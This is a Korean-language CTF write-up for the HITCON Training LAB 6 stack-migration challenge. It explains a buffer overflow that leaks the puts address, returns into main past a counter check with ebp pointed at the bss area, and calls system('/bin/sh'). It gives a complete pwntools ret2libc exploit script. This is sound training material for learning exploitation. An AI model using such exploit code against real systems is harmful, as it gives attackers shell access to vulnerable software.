tmxklab

hitcon training [LAB 6] 본문

War Game/hitcon training

hitcon training [LAB 6]

tmxk4221 2020. 7. 19. 18:05

1. 문제

1) mitigation확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-28h]

  if ( count != 1337 )
    exit(1);
  ++count;
  setvbuf(_bss_start, 0, 2, 0);
  puts("Try your best :");
  return read(0, &buf, 0x40u);
}

count변수는 bss영역에 존재

 


2. 접근 방법

 

이전에 LAB4와 비슷하긴 한데 문제는 입력 값을 한 번밖에 받을 수 없으니 주소 값을 leak하여 libc base주소를 알아낼 수는 있으나 system함수와 binsh주소 값을 입력할 read함수가 존재하지 않는다.

 

따라서, puts함수를 leak한 다음에 다시 main함수로 돌아와서 read함수를 한 번더 진행하는 방식으로 하겠다.

 

프로세스)

  • bof를 수행하여 puts함수의 주소 값을 leak한 다음에 다시 main함수로 돌아옴

  • 다시 read함수가 진행하면서 rtl을 수행하여 system함수와 binsh주소 값을 넣어 쉘을 얻는다.

주의할 점1)

메인 함수 처음으로 돌아오면 count값이 변경되어 exit가 수행된다.

if ( count != 1337 )
    exit(1);

 

해결 방법1)

  • puts주소를 leak하고 메인 함수로 돌아올 때 처음으로 돌아가지 말고 if문을 건너띄고 돌아간다.

 

주의할 점2)

  • 처음 bof를 수행할 때 ebp값을 덮으면 이후에 다시 메인 함수로 돌아올 때 read함수가 ebp값을 참조하므로 문제 발생

  • 다시 main함수로 돌아왔을 때 ebp값이 "AAAA"로 덮여져 있음

  • 접근할 수 없는 주소 값이므로 제대로 rtl이 수행이 안됨

 

해결 방법2)

  • 처음 bof를 수행할 때 메모리 매핑된 주소 중에 쓰기 권한이 포함된 위치(bss영역)를 ebp에 작성

  • 물론 쓰기 권한이 안된 곳을 사용하고 싶으면 mprotect를 사용할 수 있을 것 같음

 


3. 풀이

1) 다시 돌아올 메인 함수 주소 값 선정

 

2) ebp에 작성할 공간 선정 → bss영역

0x804a000 ~ 0x804b000이므로 그냥 중간 값 0x804a500으로 하자

 

 

3) 익스 코드

from pwn import *

#context.log_level="debug"

p = process("./migration")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
e = ELF("./migration")
#gdb.attach(p)

system_offset = libc.symbols['system']
binsh_offset = libc.search("/bin/sh").next()
puts_offset = libc.symbols['puts']
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = e.symbols['main']
main_addr = main_addr + 55
pr = 0x804836d
pppr = 0x8048569
count = 0x804a008

log.info("system_offset : "+hex(system_offset))
log.info("binsh_offset : "+hex(binsh_offset))
log.info("puts_plt : "+hex(puts_plt))
log.info("puts_got : "+hex(puts_got))
log.info("main_addr : "+hex(main_addr))

# 1. leak puts() address
payload = "A"*40
payload += p32(0x804a500)
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)

p.sendafter("\n", payload)

data = p.recvuntil("\n")[:4]
puts_addr = u32(data)
base_addr = puts_addr - puts_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset

log.info("puts_addr : "+hex(puts_addr))
log.info("base_addr : "+hex(base_addr))
log.info("system_addr : "+hex(system_addr))
log.info("binsh_addr : "+hex(binsh_addr))

# 2. return to system("/bin/sh")
payload = "A"*44
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)

p.sendafter("\n", payload)

p.interactive()

 

4) 공격 실행

'War Game > hitcon training' 카테고리의 다른 글

hitcon training [LAB 8]  (0) 2020.07.19
hitcon training [LAB 7]  (0) 2020.07.19
hitcon training [LAB 5]  (0) 2020.07.19
hitcon training [LAB 4]  (0) 2020.07.19
hitcon training [LAB 3]  (0) 2020.07.19
Comments